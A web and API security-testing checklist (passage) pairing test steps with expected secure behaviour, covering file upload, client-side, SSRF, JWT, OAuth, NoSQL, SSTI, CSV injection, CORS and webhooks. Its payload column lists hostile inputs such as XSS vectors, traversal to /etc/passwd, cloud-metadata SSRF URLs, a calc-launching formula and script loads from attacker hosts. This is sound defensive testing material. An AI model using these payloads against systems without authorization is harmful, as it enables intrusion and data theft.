3 checksTransport and Crypto Controls3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Scan TLS versions, ciphers, certificate chain, hostname, expiry, and weak protocols. | SSL Labs, testssl.sh, nmap --script ssl-enum-ciphers | Only strong TLS/ciphers and valid certificates should be used. | ||
| For encrypted tokens/parameters, alter ciphertext and observe error/timing differences. | Modify encrypted cookie/token blocks | Crypto errors should be generic; vulnerable CBC oracle behavior should not exist. | ||
| Check whether credentials, tokens, OTPs, or PII are sent over HTTP or loggable URLs. | http://, query params, Referer, logs | Sensitive data should be encrypted in transit and not placed in URLs. |
Business Logic Testing
26 checksCore Business Logic7 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Submit invalid business values such as negative amount, excessive quantity, invalid state, or unauthorized status. | amount=-1, quantity=999999, status=approved | Server should enforce valid business rules. | ||
| Modify hidden/client-controlled fields in requests and replay actions. | price=1, role=admin, isPaid=true, status=approved | Server should ignore/recalculate sensitive values. | ||
| Remove/tamper checksum/signature/hidden fields and check if request is accepted. | Remove signature; modify signed field | Integrity-protected values should fail if tampered. | ||
| Send parallel requests for one-time/limited actions. | Apply coupon 20 times; withdraw twice; submit same OTP/token in parallel | Critical operations should be atomic; only one should succeed. | ||
| Repeat limited functions rapidly and across sessions/IPs. | OTP resend, coupon use, download, invite, reward, login, API quota | Usage limits and rate limits should be enforced server-side. | ||
| Call later-step APIs directly without completing earlier steps. | payment-confirm without payment-initiate; reset-password without OTP verification | Backend should block skipped or out-of-order workflows. | ||
| Automate spam/mass actions/scraping/fake registration/excessive requests. | Mass comments, mass follows, scraping API pages | Abuse controls should throttle, block, or detect misuse. |
File Upload Functionality (WSTG-BUSL-08 / WSTG-BUSL-09)19 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Upload disallowed file types. | .php, .jsp, .aspx, .exe, .sh, .html, .js | Only approved file types should be accepted. | ||
| Try double/mixed extensions and case variations. | shell.php.jpg, test.jpg.php, file.PHP, file.phP5 | Validation should not rely only on final extension. | ||
| Change Content-Type to allowed value while body contains disallowed content. | Content-Type: image/jpeg for HTML/PHP/JS content | Server should validate actual file content. | ||
| Add valid image magic bytes to malicious/non-image content. | GIF89a + script/PHP content | Server should verify full content safely, not only magic bytes. | ||
| Upload SVG containing script/event handlers/external references. | <svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg> | SVG should be blocked, sanitized, or served safely. | ||
| Upload HTML file or file rendered as HTML and open it in browser. | <script>alert(1)</script>.html | Uploaded content should not execute script in trusted origin. | ||
| Upload safe malware test file in authorized environment. | EICAR test file | Malware scanning should block/quarantine unsafe files. | ||
| Upload very large files or many files quickly. | Large multipart upload; repeated uploads | Size/rate limits should prevent resource abuse. | ||
| Use special characters, CRLF, quotes, unicode, or script in filename. | "><script>alert(1)</script>.jpg file%0d%0aContent-Type:text/html.jpg |
Filename should be sanitized and safely displayed. | ||
| Upload filename with traversal sequences. | ../../test.jsp ..\..\webroot\shell.jsp |
File should not escape upload directory or overwrite system files. | ||
| Attempt upload without login/token or with expired/invalid token. | Remove Authorization header/cookie | Upload should require proper authentication. | ||
| Try viewing/downloading/deleting another user’s uploaded file by changing file ID/path. | /files/123 → /files/124 | Object-level authorization should protect files. | ||
| Open uploaded file URL directly in browser/incognito and without auth. | https://cdn.example.com/uploads/file.jpg | Access should follow authorization rules. | ||
| Upload script-like file and check if it executes server-side or client-side. | shell.php, shell.jsp, .phtml, .aspx | Uploaded files should never execute as code. | ||
| Determine whether uploaded files are stored under web root/public bucket/CDN and whether listing is enabled. | /uploads/, S3 bucket URL | Files should be stored safely with controlled access and no listing. | ||
| Upload same filename multiple times or same path from different users. | avatar.jpg repeated | Files should not overwrite others unless intended and authorized. | ||
| Check whether risky files open inline or forced download. | Content-Disposition: inline vs attachment | Risky content should be downloaded or served from isolated domain. | ||
| Upload/download images/docs and inspect metadata. | exiftool file.jpg/file.pdf | Sensitive metadata should be stripped if required. | ||
| Upload invalid/corrupt files and inspect errors. | Broken image/PDF/ZIP | No stack traces/internal paths should be exposed. |
Client Side Testing
12 checksBrowser/Client-Side Controls12 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Manipulate URL/hash/query parameters and check if JavaScript writes them into dangerous sinks. | #<img src=x onerror=alert(1)> ?next=<svg/onload=alert(1)> |
Client should encode/sanitize untrusted data before DOM insertion. | ||
| Look for eval/new Function/setTimeout(string)/dynamic script loading using user input. | Search JS for eval(, Function(, setTimeout( | Untrusted input should not be executed as JavaScript. | ||
| Inject harmless HTML into client-rendered fields and check rendering. | <h1>Injected</h1><a href=https://attacker.com>Click</a> | User input should not render as raw HTML unless safely sanitized. | ||
| Modify redirect-like parameters or hash values. | ?redirect=https://evil.com #//evil.com ?returnUrl=//evil.com |
Redirects should only allow trusted internal paths. | ||
| Inject style/CSS payloads into style fields or profile/theme parameters. | background:url(//attacker.test/x) position:fixed;top:0;left:0 |
User-controlled CSS should be blocked or sanitized. | ||
| Tamper JS/CSS/image/API paths controlled by query/config. | ?cdn=https://attacker.com/ ?script=//attacker.com/a.js |
Client should not load attacker-controlled resources. | ||
| Send requests with untrusted Origin and check ACAO/credentials behavior. | Origin: https://evil.com | Sensitive APIs should not allow untrusted origins, especially with credentials. | ||
| Check for legacy Flash/SWF and permissive crossdomain policies. | /crossdomain.xml, .swf files | Legacy cross-domain access should be removed or restricted. | ||
| Try embedding sensitive pages in iframe. | <iframe src="https://target/sensitive"></iframe> | Sensitive pages should set frame protections. | ||
| Inspect WebSocket connect/message flow for auth, origin validation, message tampering, and data leakage. | Modify WS message/user_id/action | WebSockets should authenticate, authorize, and validate every message. | ||
| Inspect postMessage usage for wildcard targetOrigin or missing origin validation. | window.postMessage(data, "*") | postMessage should validate origin and use exact targetOrigin. | ||
| Inspect localStorage/sessionStorage for tokens, PII, secrets, and persistence after logout. | authToken, refreshToken, user PII | Sensitive tokens/PII should not be stored insecurely in browser storage. |
Insecure Design (A04)
4 checksDesign and Abuse Case Testing4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Try using functionality in unintended ways to gain free access, bypass payment, misuse rewards, or bypass approvals. | Apply coupon after payment; access premium content without subscription | Design should prevent abuse cases, not only input validation errors. | ||
| Check critical flows for missing rate limits, missing re-authentication, missing approval, or missing server-side validation. | No rate limit on OTP/coupon/export | Security controls should exist at design level for sensitive actions. | ||
| Bypass frontend validation and send direct API requests with modified values. | Change price/status/role in API | Backend should not trust frontend-controlled values. | ||
| Force invalid states and interrupted flows to check safe handling. | Payment timeout then confirm order; cancel then reuse token | Failure states should not create unauthorized access or inconsistent state. |
Software & Data Integrity Testing (A08)
5 checksIntegrity and Supply Chain5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Identify outdated/vulnerable libraries and missing integrity controls. | npm audit, Snyk, dependency check | Known vulnerable packages should be upgraded or mitigated. | ||
| Look for exposed build artifacts, pipeline files, logs, secrets, or deployment configs. | .github/workflows, Jenkinsfile, build logs, .npmrc | CI/CD secrets and artifacts should not be public. | ||
| Decode and tamper JWT claims/header/signature; test alg=none/weak algorithms/expired tokens. | jwt.io; change role/user_id/exp; alg=none | Server should validate signature, algorithm, issuer, audience, expiry, and claims. | ||
| Look for serialized objects in cookies/body/headers/uploads and safely modify low-risk values first. | Java rO0AB..., PHP O:4:"User", .NET ViewState, YAML/XML/JSON type fields | User-controlled serialized data should not be deserialized unsafely. | ||
| Modify downloaded/uploaded files or signed data and check if tampering is detected. | Modify signed download URL, checksum, file hash | Integrity checks should detect tampering. |
Security Logging & Monitoring Testing (A09)
5 checksLogging, Monitoring and Audit Trail5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Perform login failures, password reset, privilege changes, admin actions, and check logs if available. | failed login, reset request, admin delete | Critical security events should be logged. | ||
| Verify logs do not contain passwords, OTPs, tokens, session IDs, or PII unnecessarily. | password=, token=, otp= | Logs should not store secrets or sensitive data. | ||
| Inject CRLF/special characters into logged fields and inspect log formatting if accessible. | username=test%0aFAKE LOG ENTRY | User input should not corrupt or forge log entries. | ||
| Simulate brute force, enumeration, and suspicious access attempts to verify alerting process. | Repeated failed login/OTP/admin access | Suspicious activity should trigger monitoring/alerts. | ||
| Verify critical actions record who, what, when, where, and before/after state. | Admin change, role update, password reset | Audit trail should support investigation without leaking secrets. |
SSRF Testing (A10)
6 checksServer-Side Request Forgery6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Find functions where server fetches user-supplied URLs. | Import by URL, image upload by URL, webhook, PDF generator, link preview | URL-fetching features should be tightly allowlisted. | ||
| Use controlled callback domain to confirm whether server makes outbound request. | Burp Collaborator/ngrok/collaborator-like endpoint | Outbound requests should only occur for approved destinations. | ||
| Submit internal URLs in authorized test environment. | http://127.0.0.1, http://localhost, http://10.0.0.1, http://169.254.169.254 | Private/internal/metadata addresses should be blocked. | ||
| Try non-HTTP protocols if accepted by parser. | file://, ftp://, gopher://, dict:// | Only safe protocols should be allowed. | ||
| Use external URL that redirects to internal/private IP and check whether final destination is revalidated. | https://attacker.test/redirect-to-127.0.0.1 | Application should validate final redirected URL. | ||
| Check if internal response body/status/timing is exposed to user. | Blind/timing/error differences | Internal responses should not leak to user. |
Additional Advanced Web/API Vulnerabilities
13 checksCache, Header, Redirect and Proxy Attacks9 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Find cacheable pages, add unkeyed headers/params, check reflection, then verify if poisoned response is served from cache. | X-Forwarded-Host: attacker.com X-Original-URL: /admin Check X-Cache/Age/CF-Cache-Status |
Cache should not store attacker-controlled content for other users. | ||
| As logged-in user, append fake static extension/path to private dynamic pages and test if cached publicly. | /account/profile.css /api/me/test.png /orders/123/style.css |
Private user data should never be cached as public static content. | ||
| In authorized environments, use safe Burp Smuggler probes to test CL.TE/TE.CL/TE.TE desync. | Content-Length + Transfer-Encoding: chunked probes | Frontend/backend should parse requests consistently; no desync. | ||
| Modify Host and forwarded host headers and check password reset links, redirects, asset URLs, cache, and routing. | Host: attacker.com X-Forwarded-Host: attacker.com Forwarded: host=attacker.com |
Application should use configured trusted host, not client-controlled headers. | ||
| Inject CRLF into inputs reflected in headers such as Location or Set-Cookie. | name=test%0d%0aSet-Cookie:evil=1 | CRLF should be encoded/rejected; no injected response headers. | ||
| Decode and modify client-controlled cookies and replay requests. | Cookie: role=user → role=admin Base64/JSON cookie changes |
Sensitive state should not be trusted from unsigned client-side cookies. | ||
| Modify redirect parameters and test external/encoded bypasses. | ?redirect=https://evil.com ?returnUrl=//evil.com https://example.com.evil.com https://evil.com@example.com |
Only allowlisted internal redirects should be allowed. | ||
| Try headers that may be trusted by proxy/backend routing. | X-Forwarded-For: 127.0.0.1 X-Original-URL: /admin X-Rewrite-URL: /internal |
User-supplied headers should not grant internal routing/access. | ||
| Inject CRLF into email fields to attempt CC/BCC/Subject/body injection. | test@test.com%0aBCC:attacker@test.com test@test.com%0d%0aSubject:Injected |
Email headers should not be injectable; input should be sanitized. |
Deserialization, Race and Prototype Pollution4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Identify serialized data in cookies, hidden fields, API body, headers, uploads, or ViewState and modify low-risk values first. | Java rO0AB..., PHP O:4:"User", JSON {"__type":"UserSession","role":"admin"} | Application should not deserialize untrusted data or should verify integrity before processing. | ||
| Send parallel requests for one-time/limited actions and verify backend state. | Apply coupon 20 times; reset token twice; withdraw twice; OTP verify in parallel | Only one valid operation should succeed; state must be atomic. | ||
| Inject prototype keys into JSON/query inputs and check unexpected property/behavior changes. | {"__proto__":{"polluted":"yes"}} {"constructor":{"prototype":{"isAdmin":true}}} ?__proto__[polluted]=yes |
Dangerous keys should be rejected and object prototypes should not be polluted. | ||
| View page source and JS files; search for tokens, API keys, secrets, internal endpoints, and source maps. | View Source, Burp, DevTools Search: apiKey, secret, token, password, bearer | Frontend should not contain secrets or sensitive internal implementation details. |
Additional Non-API-Top-10 VAPT Coverage Added
0 checksAdditional Data Validation Checks
11 checksNoSQL Injection3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Identify inputs used by NoSQL-backed features such as login, search, filters, profile lookup, or document lookup. Replace normal values with NoSQL operators and observe whether authentication, filtering, or authorization changes. | {"email":{"$ne":null},"password":{"$ne":null}} {"username":{"$regex":".*"}} ?user[$ne]=test |
Application should reject operator objects or treat them as plain values; authentication and filters should not be bypassed. | ||
| Send safe boolean-style NoSQL payloads and compare response length, result count, status code, and timing. | {"name":{"$gt":""}} {"id":{"$in":["victim_id"]}} |
No different behavior should expose query logic or allow unauthorized records to be returned. | ||
| Change expected string/number fields into arrays or objects and check whether validation is bypassed. | {"role":["user","admin"]} {"email":{"value":"a@b.com"}} |
Server should enforce strict schema and reject wrong data types. |
Server-Side Template Injection (SSTI)3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Find inputs rendered in server-generated pages, emails, PDFs, invoices, templates, or notification content. Submit basic template expressions and check whether they are evaluated. | {{7*7}} ${7*7} <%= 7*7 %> #{7*7} |
Payload should be displayed as text or safely encoded; it should not evaluate to 49. | ||
| Submit template expressions in profile name, invoice fields, report titles, email templates, or content generation fields and check generated output. | Name: {{7*7}} Title: ${7*7} |
Generated emails/PDFs/pages should not execute user-controlled template syntax. | ||
| Send malformed template syntax and inspect errors for template engine names or stack traces. | {{7*}} ${{bad}} |
No template engine details, stack traces, or internal paths should be exposed. |
CSV / Formula Injection2 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Enter formula-like payloads in fields that may be exported, such as name, email, comment, ticket title, address, or report data. Export CSV/XLSX and open safely in a controlled environment. | =2+2 +cmd|' /C calc'!A0 @SUM(1+1) -HYPERLINK("http://attacker.test","click") |
Exported data should neutralize formula execution by escaping dangerous leading characters such as =, +, -, @, tab, and CR/LF. | ||
| If the app imports CSV and later exports/reports it, upload formula payloads and verify they are sanitized during export/display. | CSV cell value: =HYPERLINK("http://attacker.test") | Imported formula-like values should not execute when later exported or opened. |
Mass Assignment / Overposting3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Add unauthorized fields to create/update requests and check whether backend accepts them. | {"name":"test","role":"admin","isAdmin":true,"isVerified":true,"status":"active"} | Server should ignore/reject fields the user is not allowed to set. | ||
| Add fields that affect plan, price, wallet, limits, approval, ownership, or verification status. | {"plan":"premium","price":0,"balance":99999,"approved":true,"ownerId":"victim"} | Client-controlled extra fields should not modify server-side business state. | ||
| Inject hidden fields inside nested JSON objects and arrays. | {"profile":{"name":"a","role":"admin"},"settings":{"mfaEnabled":false}} | Nested unauthorized fields should be rejected or ignored. |
Additional Authentication, OAuth, SSO and JWT Checks
20 checksOAuth / SSO Misconfiguration6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| During OAuth/SSO login, modify redirect_uri/callback URL and verify whether tokens/codes can be sent to an untrusted domain. | redirect_uri=https://attacker.test/callback redirect_uri=https://trusted.com.attacker.test redirect_uri=//attacker.test |
Only exact allowlisted redirect URIs should be accepted. | ||
| Start OAuth login and check whether state exists, is random, tied to session, and validated. Remove/change/reuse it. | Remove state Reuse old state Swap state between browsers |
State should be required, unpredictable, session-bound, and single-use to prevent CSRF/login CSRF. | ||
| For mobile/SPA/public clients, check whether authorization code flow requires valid code_verifier matching code_challenge. | Remove code_verifier Use wrong code_verifier |
Token exchange should fail without valid PKCE where applicable. | ||
| Use the same OAuth authorization code more than once. | Replay code exchange request | Authorization code should be single-use and short-lived. | ||
| Check whether access tokens, ID tokens, or auth codes appear in URL fragments/query parameters and leak to third-party links. | Inspect redirect URL, Referer header, analytics/social links | Tokens/codes should not leak to third parties or browser history. | ||
| If ID tokens are used, modify issuer/audience/expiry/signature and check whether login is accepted. | Invalid aud, iss, exp, unsigned/tampered ID token | Backend should validate issuer, audience, expiry, nonce, and signature. |
Account Linking / Social Login Abuse4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Try initiating account linking while logged in as one user and complete OAuth with another identity, or reuse linking URLs across sessions. | Start link as User A, complete as User B | Social accounts should link only after re-authentication and correct session validation. | ||
| Check whether the app trusts email from OAuth provider even if email_verified is false or absent. | Provider response with email_verified=false | Application should not trust unverified provider email for account takeover or auto-linking. | ||
| Try logging in with a provider account whose email differs from the existing local account or is controlled by attacker. | OAuth email mismatch / changed email at provider | App should prevent unsafe auto-linking and require verified ownership. | ||
| Combine SSO flow with redirect_uri/open redirect testing and check whether tokens/codes can be captured. | redirect_uri through open redirect path | OAuth codes/tokens must never be deliverable to attacker-controlled destinations. |
Detailed JWT Testing6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Decode JWT, change header algorithm to none, remove signature, and replay in authorized test environment. | {"alg":"none","typ":"JWT"} | Unsigned or alg=none tokens should be rejected. | ||
| If HS256 is used and allowed by scope, test whether token can be cracked using weak/common secrets. | Common secrets: secret, password, jwtsecret | JWT signing secret should be strong and not crackable. | ||
| Modify claims such as role, user_id, tenant_id, scope, plan, or isAdmin and replay token. | {"role":"admin","isAdmin":true,"user_id":"victim"} | Any tampered token should fail signature validation or authorization checks. | ||
| Replay expired token or remove/change exp claim. | exp in past; remove exp claim | Expired or malformed tokens should be rejected. | ||
| Change iss/aud claims or use token from another environment/app. | aud=other-app iss=attacker |
Backend should validate expected issuer and audience. | ||
| Modify JWT header key identifiers/remote key URLs and check whether server fetches or trusts attacker keys. | kid=../../key jku=https://attacker.test/jwks.json x5u=https://attacker.test/cert.pem |
Server should only use trusted key sources and should not fetch arbitrary attacker-controlled keys. |
Rate Limit Bypass Techniques4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Repeat rate-limited requests while changing spoofable IP headers. | X-Forwarded-For: 1.1.1.1 X-Real-IP: 2.2.2.2 Client-IP: 3.3.3.3 |
Rate limiting should use trusted proxy configuration and should not be bypassed by user-controlled headers. | ||
| Change case, spacing, encoding, plus addressing, or phone number format while attempting rate-limited actions. | Test@Mail.com vs test@mail.com test+1@mail.com +91 99999 vs 099999 |
Rate limit should normalize identifiers consistently. | ||
| Use alternate endpoints, API versions, trailing slashes, or mobile endpoints for the same action. | /login, /api/login, /api/v1/login, /mobile/login, /login/ | Same action should share abuse limits across endpoint variants. | ||
| Change User-Agent, device ID, cookies, or create new sessions and repeat the same action. | New cookie, new device_id, different User-Agent | Critical limits should not be bypassed by trivial client-side identifiers. |
Additional API-Connected Feature Checks
23 checksGraphQL Security5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Identify /graphql or similar endpoint and verify whether it is intended to be public. | /graphql, /api/graphql, /gql | GraphQL endpoint should require authentication where needed and expose only intended operations. | ||
| Send introspection query and check whether schema, types, queries, mutations, and fields are exposed. | { __schema { types { name } } } | Introspection should be disabled or restricted in production unless intentionally allowed. | ||
| Query sensitive fields not visible in UI or belonging to another user. | Query user(id:"victim") { email phone role } | Each field/object should enforce authorization, not only top-level query. | ||
| Send deeply nested or expensive queries and observe latency/rate limits. | Nested friends/followers/orders recursion | Depth, complexity, timeout, and rate limits should be enforced. | ||
| Send multiple queries/mutations in one batch to bypass rate limits or perform mass actions. | [{query:"..."},{query:"..."}] | Batching should be limited and authorized per operation. |
Advanced CORS Testing5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Send requests with arbitrary Origin header and check whether it is reflected in Access-Control-Allow-Origin. | Origin: https://attacker.test | Only trusted origins should be allowed; arbitrary reflection is unsafe. | ||
| Send Origin header with cookies/session and check Access-Control-Allow-Credentials behavior. | Origin: https://attacker.test Cookie: session=... |
Credentials should not be allowed for untrusted origins. | ||
| Send Origin: null and verify whether sensitive APIs allow it. | Origin: null | null origin should not be trusted for sensitive APIs. | ||
| Try attacker-controlled domains that visually match trusted domains. | https://example.com.attacker.test https://attacker-example.com https://eviltrusted.com |
CORS allowlist should use strict exact origin matching. | ||
| Send OPTIONS preflight and check whether dangerous methods/headers are allowed unnecessarily. | Access-Control-Request-Method: DELETE Access-Control-Request-Headers: Authorization |
Only required methods and headers should be allowed. |
Webhook Security4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| If users can configure webhook URLs, try internal/private URLs and unsupported protocols. | http://127.0.0.1 http://169.254.169.254 file:/// gopher:// |
Webhook destination should be allowlisted or block private/internal IPs and unsafe protocols. | ||
| Send a fake webhook request without signature, with invalid signature, and with modified body. | Missing X-Signature Wrong signature Body tampering |
Webhook receiver should reject unsigned or tampered requests. | ||
| Replay a valid webhook request multiple times. | Replay same event_id/signature/timestamp | Webhook should use timestamp/event ID/idempotency protection to prevent replay. | ||
| Check frontend, logs, API responses, and docs for webhook signing secrets or callback tokens. | Search secret, webhook_secret, signing_key | Webhook secrets should never be exposed client-side or in logs. |
Download / Export Functionality5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Change file/report/export ID in download URL/API and check whether another user’s file can be accessed. | /download?id=1001 → /download?id=1002 /files/{file_id} |
Download authorization should verify object ownership and role. | ||
| Modify filename/path parameters to access server files or other directories. | file=../../etc/passwd path=..%2f..%2fconfig |
Download API should not allow traversal or arbitrary file read. | ||
| Use filters/pagination/body changes to export more data than visible/authorized. | limit=999999 role=all includeSensitive=true |
Exports should enforce authorization, row limits, and least-data response. | ||
| Reuse signed download URLs after expiry/logout/password reset or from another account. | Replay S3/CDN signed URL | Signed URLs should be short-lived, scoped, and not expose unauthorized data. | ||
| Download reports/exports and check for PII, internal IDs, tokens, hidden columns, or debug fields. | CSV/XLSX/PDF export review | Export should contain only intended and authorized data. |
Sensitive Data Exposure in API Responses4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Compare UI-visible fields with raw API response and identify extra PII/internal/security fields. | email, phone, dob, role, isAdmin, internalId, passwordHash, token, debug | API should return only fields required by the current user and feature. | ||
| Call same endpoint with low/high privilege users and compare response data. | GET /api/users/{id} | Low-privilege users should not receive admin-only fields. | ||
| Trigger errors and inspect response for stack, SQL, internal service names, trace IDs with sensitive context. | Malformed JSON, invalid ID, expired token | Responses should not expose sensitive debug data. | ||
| Verify sensitive API responses are not cached by browser/CDN/proxy and not stored in local/session storage unnecessarily. | Cache-Control, localStorage/sessionStorage | Sensitive data should not be cached or stored client-side unnecessarily. |
Additional Client, Headers and Supply Chain Checks
10 checksSecurity Headers Detailed Review6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Review CSP header for missing/weak directives and unsafe script sources. | Content-Security-Policy unsafe-inline, unsafe-eval, wildcard * |
CSP should restrict script/style/connect/frame sources and avoid unsafe directives where possible. | ||
| Verify X-Frame-Options or CSP frame-ancestors on sensitive pages. | X-Frame-Options: DENY/SAMEORIGIN CSP: frame-ancestors |
Sensitive pages should not be frameable by untrusted sites. | ||
| Verify X-Content-Type-Options header and dangerous content rendering behavior. | X-Content-Type-Options: nosniff | Browser should not sniff and execute uploaded/downloaded content as scripts. | ||
| Click external links from sensitive pages and check whether tokens/paths leak in Referer. | Referrer-Policy: no-referrer / strict-origin-when-cross-origin | Sensitive URLs/tokens should not leak to third parties. | ||
| Review whether browser features like camera, microphone, geolocation, clipboard are restricted. | Permissions-Policy: camera=(), microphone=(), geolocation=() | Unneeded browser capabilities should be disabled. | ||
| Verify session cookies include Secure, HttpOnly, SameSite, and narrow Path/Domain. | Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax/Strict | Cookies should be protected from theft, cross-site abuse, and overbroad scope. |
Dependency / Frontend Script Integrity4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| List all external scripts loaded by the frontend and verify they are trusted, necessary, and not loaded over HTTP. | <script src="https://third-party..."> | Only trusted HTTPS scripts should be loaded. | ||
| For static third-party scripts/styles, verify integrity attribute is used where applicable. | <script src="..." integrity="sha384-..." crossorigin="anonymous"> | SRI should be used for third-party static assets where feasible. | ||
| Review JS bundles, package metadata, source maps, and response headers for vulnerable library versions. | jquery, lodash, moment, angular, react versions | Outdated/vulnerable frontend dependencies should be upgraded or not exposed. | ||
| Review whether app references internal package names, public registries, or build artifacts revealing package names. | package.json, yarn.lock, source maps | Internal packages and dependency metadata should not enable supply-chain attacks. |
No checklist items match your search/filter.